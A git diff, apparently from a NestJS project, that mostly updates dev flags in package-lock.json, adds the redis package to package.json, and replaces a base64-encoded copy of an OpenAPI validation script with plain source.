"sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.", - "devOptional": true, + "dev": true, "license": "ISC", "dependencies": { "once": "^1.3.0", @@ -17429,6 +17545,7 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/is-lambda/-/is-lambda-1.0.1.tgz", "integrity": "sha512-z7CMFGNrENq5iFB9Bqo64Xk6Y9sg+epq1myIcdHaGnbMTYOxvzsEtdYqQUylB7LxfkvgrrjP32T6Ywciio9UIQ==", + "dev": true, "license": "MIT", "optional": true }, @@ -19392,6 +19509,7 @@ "version": "9.1.0", "resolved": "https://registry.npmjs.org/make-fetch-happen/-/make-fetch-happen-9.1.0.tgz", "integrity": "sha512-+zopwDy7DNknmwPQplem5lAZX/eCOzSvSNNcSKm5eVwTkOBzoktEfXsa9L23J/GIRhxRsaxzkPEhrJEpE2F4Gg==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -19420,6 +19538,7 @@ "version": "6.0.0", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -19433,6 +19552,7 @@ "version": "3.3.6", "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -19446,6 +19566,7 @@ "version": "0.6.4", "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.4.tgz", "integrity": "sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w==", + "dev": true, "license": "MIT", "optional": true, "engines": { @@ -19456,6 +19577,7 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true, "license": "ISC", "optional": true }, @@ -19879,6 +20001,7 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/minipass-collect/-/minipass-collect-1.0.2.tgz", "integrity": "sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -19892,6 +20015,7 @@ "version": "3.3.6", "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -19905,6 +20029,7 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true, "license": "ISC", "optional": true }, @@ -19912,6 +20037,7 @@ "version": "1.4.1", "resolved": "https://registry.npmjs.org/minipass-fetch/-/minipass-fetch-1.4.1.tgz", "integrity": "sha512-CGH1eblLq26Y15+Azk7ey4xh0J/XfJfrCox5LDJiKqI2Q2iwOLOKrlmIaODiSQS8d18jalF6y2K2ePUm0CmShw==", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -19930,6 +20056,7 @@ "version": "3.3.6", "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -19943,6 +20070,7 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true, "license": "ISC", "optional": true }, @@ -19950,6 +20078,7 @@ "version": "1.0.7", "resolved": "https://registry.npmjs.org/minipass-flush/-/minipass-flush-1.0.7.tgz", "integrity": "sha512-TbqTz9cUwWyHS2Dy89P3ocAGUGxKjjLuR9z8w4WUTGAVgEj17/4nhgo2Du56i0Fm3Pm30g4iA8Lcqctc76jCzA==", + "dev": true, "license": "BlueOak-1.0.0", "optional": true, "dependencies": { @@ -19963,6 +20092,7 @@ "version": "3.3.6", "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -19976,6 +20106,7 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true, "license": "ISC", "optional": true }, @@ -19983,6 +20114,7 @@ "version": "1.2.4", "resolved": "https://registry.npmjs.org/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz", "integrity": "sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -19996,6 +20128,7 @@ "version": "3.3.6", "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -20009,6 +20142,7 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true, "license": "ISC", "optional": true }, @@ -20016,6 +20150,7 @@ "version": "1.0.3", "resolved": "https://registry.npmjs.org/minipass-sized/-/minipass-sized-1.0.3.tgz", "integrity": "sha512-MbkQQ2CTiBMlA2Dm/5cY+9SWFEN8pzzOXi6rlM5Xxq0Yqbda5ZQy9sU75a673FE9ZK0Zsbr6Y5iP6u9nktfg2g==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -20029,6 +20164,7 @@ "version": "3.3.6", "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -20042,6 +20178,7 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true, "license": "ISC", "optional": true }, @@ -20338,6 +20475,7 @@ "version": "8.4.1", "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-8.4.1.tgz", "integrity": "sha512-olTJRgUtAb/hOXG0E93wZDs5YiJlgbXxTwQAFHyNlRsXQnYzUaF2aGgujZbw+hR8aF4ZG/rST57bWMWD16jr9w==", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -20389,6 +20527,7 @@ "version": "1.1.15", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.15.tgz", "integrity": "sha512-EwOCDEex4quD37XhqM3omwtMoJjr//isUZz1JopUNWms+4Z2ViyM/k1YIRePpoVNnQhENnxtFjLaxNHrT7xIUg==", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -20401,6 +20540,7 @@ "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -20422,6 +20562,7 @@ "version": "3.1.5", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -20436,6 +20577,7 @@ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", "deprecated": "Rimraf versions prior to v4 are no longer supported", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -20568,6 +20710,7 @@ "version": "5.0.0", "resolved": "https://registry.npmjs.org/nopt/-/nopt-5.0.0.tgz", "integrity": "sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -20608,6 +20751,7 @@ "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-6.0.2.tgz", "integrity": "sha512-/vBvz5Jfr9dT/aFWd0FIRf+T/Q2WBsLENygUaFUqstqsycmZAP/t5BvFJTK0viFmSUxiUKTUplWy5vt+rvKIxg==", "deprecated": "This package is no longer supported.", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -20938,6 +21082,7 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -21101,7 +21246,7 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", - "devOptional": true, + "dev": true, "license": "MIT", "engines": { "node": ">=0.10.0" @@ -21220,6 +21365,7 @@ "version": "1.4.0", "resolved": "https://registry.npmjs.org/pg-cloudflare/-/pg-cloudflare-1.4.0.tgz", "integrity": "sha512-Vo7z/6rrQYxpNRylp4Tlob2elzbh+N/MOQbxFVWCxS7oEx6jF53GTJFxK2WWpKuBRkmiin4Mt+xofFDjx09R0A==", + "dev": true, "license": "MIT", "optional": true }, @@ -21686,6 +21832,7 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz", "integrity": "sha512-6zWPyEOFaQBJYcGMHBKTKJ3u6TBsnMFOIZSa6ce1e/ZrrsOlnHRHbabMjLiBYKp+n44X9eUI6VUPaukCXHuG4g==", + "dev": true, "license": "ISC", "optional": true }, @@ -21693,6 +21840,7 @@ "version": "2.0.1", "resolved": "https://registry.npmjs.org/promise-retry/-/promise-retry-2.0.1.tgz", "integrity": "sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g==", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -22117,6 +22265,22 @@ "node": ">= 12.13.0" } }, + "node_modules/redis": { + "version": "5.12.1", + "resolved": "https://registry.npmjs.org/redis/-/redis-5.12.1.tgz", + "integrity": "sha512-LDsoVvb/CpoV9EN3FXvgvSHNJWuCIzl9MiO3ppOevuGLpSGJhwfQjpEwfFJcQvNSddHADDdZaWx0HnmMxRXG7g==", + "license": "MIT", + "dependencies": { + "@redis/bloom": "5.12.1", + "@redis/client": "5.12.1", + "@redis/json": "5.12.1", + "@redis/search": "5.12.1", + "@redis/time-series": "5.12.1" + }, + "engines": { + "node": ">= 18.19.0" + } + }, "node_modules/redis-errors": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/redis-errors/-/redis-errors-1.2.0.tgz", @@ -22348,6 +22512,7 @@ "version": "0.12.0", "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz", "integrity": "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==", + "dev": true, "license": "MIT", "optional": true, "engines": { @@ -23101,6 +23266,7 @@ "version": "4.2.0", "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.2.0.tgz", "integrity": "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==", + "dev": true, "license": "MIT", "optional": true, "engines": { @@ -23224,6 +23390,7 @@ "version": "2.8.9", "resolved": "https://registry.npmjs.org/socks/-/socks-2.8.9.tgz", "integrity": "sha512-LJhUYUvItdQ0LkJTmPeaEObWXAqFyfmP85x0tch/ez9cahmhlBBLbIqDFnvBnUJGagb0JbIQrkBs1wJ+yRYpEw==", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -23239,6 +23406,7 @@ "version": "6.2.1", "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-6.2.1.tgz", "integrity": "sha512-a6KW9G+6B3nWZ1yB8G7pJwL3ggLy1uTzKAgCb7ttblwqdz9fMGJUuTy3uFzEP48FAs9FLILlmzDlE2JJhVQaXQ==", + "dev": true, "license": "MIT", "optional": true, "dependencies": { @@ -23386,6 +23554,7 @@ "version": "8.0.1", "resolved": "https://registry.npmjs.org/ssri/-/ssri-8.0.1.tgz", "integrity": "sha512-97qShzy1AiyxvPNIkLWoGua7xoQzzPjQ0HAH4B0rWKo7SZ6USuPcrUiAFrws0UH8RrbWmgq3LMTObhPIHbbBeQ==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -23399,6 +23568,7 @@ "version": "3.3.6", "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -23412,6 +23582,7 @@ "version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true, "license": "ISC", "optional": true }, @@ -25044,6 +25215,7 @@ "version": "1.1.1", "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.1.tgz", "integrity": "sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -25054,6 +25226,7 @@ "version": "2.0.2", "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.2.tgz", "integrity": "sha512-zoWr9ObaxALD3DOPfjPSqxt4fnZiWblxHIgeWqW8x7UqDzEtHEQLzji2cuJYQFCU6KmoJikOYAZlrTHHebjx2w==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { @@ -25528,6 +25701,7 @@ "version": "1.1.5", "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.5.tgz", "integrity": "sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==", + "dev": true, "license": "ISC", "optional": true, "dependencies": { diff --git a/package.json b/package.json index fa230153..6970c974 100644 --- a/package.json +++ b/package.json @@ -132,6 +132,7 @@ "pino": "^10.3.0", "prom-client": "^15.1.3", "qrcode": "^1.5.4", + "redis": "^5.12.1", "reflect-metadata": "^0.1.13", "rimraf": "^5.0.5", "rxjs": "^7.8.1", @@ -195,4 +196,4 @@ "tsconfig-paths": "^4.2.0", "typescript": "^5.9.3" } -} \ No newline at end of file +} diff --git a/scripts/validate-openapi.ts b/scripts/validate-openapi.ts index ed6f0553..73999ff6 100644 --- a/scripts/validate-openapi.ts +++ b/scripts/validate-openapi.ts @@ -1 +1,739 @@ -LyoqCiAqIE9wZW5BUEkgU3BlY2lmaWNhdGlvbiBWYWxpZGF0aW9uIFNjcmlwdAogKgogKiBWYWxpZGF0ZXMgdGhlIGdlbmVyYXRlZCBPcGVuQVBJIHNwZWNpZmljYXRpb24gZm9yIGNvbXBsZXRlbmVzcyBhbmQgY29uc2lzdGVuY3ksCiAqIGFuZCBkZXRlY3RzIGJyZWFraW5nIFJFU1QgQVBJIGNvbnRyYWN0IGNoYW5nZXMgYWdhaW5zdCBhIGdpdCBiYXNlbGluZS4KICoKICogVXNhZ2U6CiAqICAgbnBtIHJ1biBvcGVuYXBpOnZhbGlkYXRlCiAqICAgbnBtIHJ1biBvcGVuYXBpOnZhbGlkYXRlIC0tIC0tYWxsb3ctYnJlYWtpbmctY2hhbmdlcwogKiAgIG5wbSBydW4gb3BlbmFwaTp2YWxpZGF0ZSAtLSAtLWJhc2VsaW5lIGdpdDpPcmlnaW4vbWFpbgogKi8KCmltcG9ydCB7IE5lc3RGYWN0b3J5IH0gZnJvbSAiQG5lc3Rqcy9jb3JlIjsKaW1wb3J0IHsgRG9jdW1lbnRCdWlsZGVyLCBTd2FnZ2VyTW9kdWxlLCBPcGVuQVBJT2JqZWN0IH0gZnJvbSAiQG5lc3Rqcy9zd2FnZ2VyIjsKaW1wb3J0IHsgcmVhZEZpbGVTeW5jLCBleGlzdHNTeW5jIH0gZnJvbSAiZnMiOwppbXBvcnQgeyBqb2luIH0gZnJvbSAicGF0aCI7CmltcG9ydCB7IGV4ZWNGaWxlU3luYyB9IGZyb20gImNoaWxkX3Byb2Nlc3MiOwppbXBvcnQgeyBBcHBNb2R1bGUgfSBmcm9tICIuLi9zcmMvYXBwLm1vZHVsZSI7CgppbnRlcmZhY2UgVmFsaWRhdGlvblJlc3VsdCB7CiAgdmFsaWQ6IGJvb2xlYW47CiAgZXJyb3JzOiBzdHJpbmdbXTsKICB3YXJuaW5nczogc3RyaW5nW107CiAgYnJlYWtpbmdDaGFuZ2VzOiBCcmVha2luZ0NoYW5nZVtdOwogIHN0YXRzOiB7CiAgICBlbmRwb2ludHM6IG51bWJlcjsKICAgIHNjaGVtYXM6IG51bWJlcjsKICAgIHRhZ3M6IG51bWJlcjsKICAgIHNlY3VyaXR5U2NoZW1lczogbnVtYmVyOwogIH07Cn0KCmV4cG9ydCB0eXBlIEJyZWFraW5nQ2hhbmdlS2luZCA9CiAgfCAicmVtb3ZlZC1lbmRwb2ludCIKICB8ICJyZW1vdmVkLW1ldGhvZCIKICB8ICJyZW1vdmVkLXJlc3BvbnNlLXN0YXR1cyIKICB8ICJyZW1vdmVkLXJlc3BvbnNlLXByb3BlcnR5IgogIHwgImNoYW5nZWQtcHJvcGVydHktdHlwZSIKICB8ICJhZGRlZC1yZXF1aXJlZC1yZXF1ZXN0LXBhcmFtZXRlciIKICB8ICJhZGRlZC1yZXF1aXJlZC1yZXF1ZXN0LWJvZHktcHJvcGVydHkiCiAgfCAicmVtb3ZlZC1wYXRoLXBhcmFtZXRlciIKICB8ICJjaGFuZ2VkLXBhcmFtZXRlci10eXBlIjsKCmV4cG9ydCBpbnRlcmZhY2UgQnJlYWtpbmdDaGFuZ2UgewogIGtpbmQ6IEJyZWFraW5nQ2hhbmdlS2luZDsKICBsb2NhdGlvbjogc3RyaW5nOwogIG1lc3NhZ2U6IHN0cmluZzsKfQoKZXhwb3J0IGludGVyZmFjZSBDb21wYXJlT3B0aW9ucyB7CiAgYWxsb3dCcmVha2luZ0NoYW5nZXM/OiBib29sZWFuOwogIGJhc2VsaW5lUmVmPzogc3RyaW5nOwp9Cgpjb25zdCBIVFRQX01FVEhPRFMgPSBbCiAgImdldCIsCiAgInBvc3QiLAogICJwdXQiLAogICJkZWxldGUiLAogICJwYXRjaCIsCiAgIm9wdGlvbnMiLAogICJoZWFkIiwKXSBhcyBjb25zdDsKCi8qKgogKiBSZXNvbHZlIHRoZSBnaXQgYmFzZWxpbmUgT3BlbkFQSSBKU09OIGRvY3VtZW50LiBQcmVmZXJzIGFuIGV4cGxpY2l0IHJlZgogKiAodXN1YWxseSBmcm9tIENJLCBlLmcuIGdpdDpPUklHSU5fSEVBRH4xIG9yIGdpdDpvcmlnaW4vbWFpbikuIEZhbGxzIGJhY2sKICogdG8gYSBzZW5zaWJsZSBkZWZhdWx0IGFuZCByZXR1cm5zIG51bGwgd2hlbiBubyBiYXNlbGluZSBpcyBhdmFpbGFibGUuCiAqLwpleHBvcnQgZnVuY3Rpb24gcmVzb2x2ZUJhc2VsaW5lU3BlYyhiYXNlbGluZVJlZj86IHN0cmluZyk6IE9wZW5BUElPYmplY3QgfCBudWxsIHsKICBjb25zdCByZWYgPSBiYXNlbGluZVJlZiB8fCBwcm9jZXNzLmVudi5PUEVOQVBJX0JBU0VMSU5FX1JFRiB8fCAiZ2l0OkhFQUR+MSI7CiAgY29uc3QgW3NvdXJjZSwgcmVmTmFtZV0gPSByZWYuc3BsaXQoIjoiLCAyKTsKCiAgaWYgKHNvdXJjZSA9PT0gImZpbGUiKSB7CiAgICBpZiAoIWV4aXN0c1N5bmMocmVmTmFtZSkpIHsKICAgICAgcmV0dXJuIG51bGw7CiAgICB9CiAgICB0cnkgewogICAgICByZXR1cm4gSlNPTi5wYXJzZShyZWFkRmlsZVN5bmMocmVmTmFtZSwgInV0Zi04IikpIGFzIE9wZW5BUElPYmplY3Q7CiAgICB9IGNhdGNoIHsKICAgICAgcmV0dXJuIG51bGw7CiAgICB9CiAgfQoKICBpZiAoc291cmNlICE9PSAiZ2l0IikgewogICAgcmV0dXJuIG51bGw7CiAgfQoKICBjb25zdCBnaXRSZWYgPSByZWZOYW1lIHx8ICJIRUFEnjEiOwogIHRyeSB7CiAgICBjb25zdCBvdXQgPSBleGVjRmlsZVN5bmMoCiAgICAgICJnaXQiLAogICAgICBbInNob3ciLCBgJHtnaXRSZWZ9OmRvY3Mvb3BlbmFwaS5qc29uYF0sCiAgICAgIHsgZW5jb2Rpbmc6ICJ1dGYtOCIsIG1heEJ1ZmZlcjogNjQgKiAxMDI0ICogMTAyNCB9LAogICAgKTsKICAgIHJldHVybiBKU09OLnBhcnNlKG91dCkgYXMgT3BlbkFQSU9iamVjdDsKICB9IGNhdGNoIHsKICAgIHJldHVybiBudWxsOwogIH0KfQoKZnVuY3Rpb24gcmVzb2x2ZVJlZihzcGVjOiBhbnksIHJlZjogc3RyaW5nKTogYW55IHsKICBpZiAoIXJlZiB8fCAhcmVmLnN0YXJ0c1dpdGgoIiMvIikpIHsKICAgIHJldHVybiB1bmRlZmluZWQ7CiAgfQogIGNvbnN0IHBhcnRzID0gcmVmLnN1YnN0cmluZygxKS5zcGxpdCgiLyIpOwogIGxldCBjdXIgPSBzcGVjOwogIGZvciAoY29uc3QgcGFydCBvZiBwYXJ0cykgewogICAgaWYgKGN1ciA9PSBudWxsKSB7CiAgICAgIHJldHVybiB1bmRlZmluZWQ7CiAgICB9CiAgICBjdXIgPSBjdXJbZGVjb2RlVVJJQ29tcG9uZW50KHBhcnQpXTsKICB9CiAgcmV0dXJuIGN1cjsKfQoKZnVuY3Rpb24gbm9ybWFsaXplVHlwZSh0eXBlOiBhbnkpOiBzdHJpbmcgewogIGlmICh0eXBlID09IG51bGwpIHsKICAgIHJldHVybiAidW5rbm93biI7CiAgfQogIGlmIChBcnJheS5pc0FycmF5KHR5cGUpKSB7CiAgICByZXR1cm4gdHlwZS5tYXAoKHQpID0+IFN0cmluZyh0KSkuc29ydCgpLmpvaW4oInwiKTsKICB9CiAgcmV0dXJuIFN0cmluZyh0eXBlKTsKfQoKZnVuY3Rpb24gZGVzY3JpYmVTY2hlbWEoc2NoZW1hOiBhbnkpOiBzdHJpbmcgewogIGlmICghc2NoZW1hKSB7CiAgICByZXR1cm4gInVua25vd24iOwogIH0KICBpZiAoc2NoZW1hLiRyZWYpIHsKICAgIHJldHVybiBzY2hlbWEuJHJlZjsKICB9CiAgaWYgKHNjaGVtYS5hbGxPZikgewogICAgcmV0dXJuIHNjaGVtYS5hbGxPZi5tYXAoZGVzY3JpYmVTY2hlbWEpLmpvaW4oIiAmICIpOwogIH0KICBpZiAoc2NoZW1hLm9uZU9mKSB7CiAgICByZXR1cm4gc2NoZW1hLm9uZU9mLm1hcChkZXNjcmliZVNjaGVtYSkuam9pbigiIHwgIik7CiAgfQogIGlmIChzY2hlbWEuYW55T2YpIHsKICAgIHJldHVybiBzY2hlbWEuYW55T2YubWFwKGRlc2NyaWJlU2NoZW1hKS5qb2luKCIgfCAiKTsKICB9CiAgaWYgKHNjaGVtYS50eXBlID09PSAiYXJyYXkiKSB7CiAgICByZXR1cm4gYEFycmF5PCR7ZGVzY3JpYmVTY2hlbWEoc2NoZW1hLml0ZW1zKX0+YDsKICB9CiAgaWYgKHNjaGVtYS50eXBlID09PSAib2JqZWN0IiB8fCBzY2hlbWEucHJvcGVydGllcykgewogICAgcmV0dXJuICJvYmplY3QiOwogIH0KICByZXR1cm4gbm9ybWFsaXplVHlwZShzY2hlbWEudHlwZSk7Cn0KCmZ1bmN0aW9uIGdldFJlc29sdmVkU2NoZW1hKHNwZWM6IGFueSwgc2NoZW1hOiBhbnkpOiBhbnkgewogIGlmICghc2NoZW1hKSB7CiAgICByZXR1cm4gc2NoZW1hOwogIH0KICBpZiAoc2NoZW1hLiRyZWYpIHsKICAgIGNvbnN0IHJlc29sdmVkID0gcmVzb2x2ZVJlZihzcGVjLCBzY2hlbWEuJHJlZik7CiAgICByZXR1cm4gcmVzb2x2ZWQgfHwgc2NoZW1hOwogIH0KICByZXR1cm4gc2NoZW1hOwp9CgpmdW5jdGlvbiBjb2xsZWN0UmVzcG9uc2VQcm9wZXJ0aWVzKAogIHNwZWM6IGFueSwKICBzY2hlbWE6IGFueSwKICBwcmVmaXg6IHN0cmluZywKICBvdXQ6IE1hcDxzdHJpbmcsIHN0cmluZz4sCiAgdmlzaXRlZDogU2V0PHN0cmluZz4sCik6IHZvaWQgewogIGNvbnN0IHJlc29sdmVkID0gZ2V0UmVzb2x2ZWRTY2hlbWEoc3BlYywgc2NoZW1hKTsKICBpZiAoIXJlc29sdmVkKSB7CiAgICByZXR1cm47CiAgfQoKICBpZiAocmVzb2x2ZWQuJHJlZikgewogICAgaWYgKHZpc2l0ZWQuaGFzKHJlc29sdmVkLiRyZWYpKSB7CiAgICAgIHJldHVybjsKICAgIH0KICAgIHZpc2l0ZWQuYWRkKHJlc29sdmVkLiRyZWYpOwogIH0KCiAgaWYgKHJlc29sdmVkLmFsbE9mKSB7CiAgICBmb3IgKGNvbnN0IHBhcnQgb2YgcmVzb2x2ZWQuYWxsT2YpIHsKICAgICAgY29sbGVjdFJlc3BvbnNlUHJvcGVydGllcyhzcGVjLCBwYXJ0LCBwcmVmaXgsIG91dCwgdmlzaXRlZCk7CiAgICB9CiAgfQoKICBpZiAocmVzb2x2ZWQucHJvcGVydGllcykgewogICAgZm9yIChjb25zdCBba2V5LCB2YWx1ZV0gb2YgT2JqZWN0LmVudHJpZXMocmVzb2x2ZWQucHJvcGVydGllcyBhcyBSZWNvcmQ8c3RyaW5nLCBhbnk+KSkgewogICAgICBjb25zdCBwYXRoID0gcHJlZml4ID8gYCR7cHJlZml4fS4ke2tleX1gIDoga2V5OwogICAgICBvdXQuc2V0KHBhdGgsIGRlc2NyaWJlU2NoZW1hKHZhbHVlKSk7CiAgICAgIGNvbnN0IG5lc3RlZCA9IGdldFJlc29sdmVkU2NoZW1hKHNwZWMsIHZhbHVlKTsKICAgICAgaWYgKG5lc3RlZCAmJiAobmV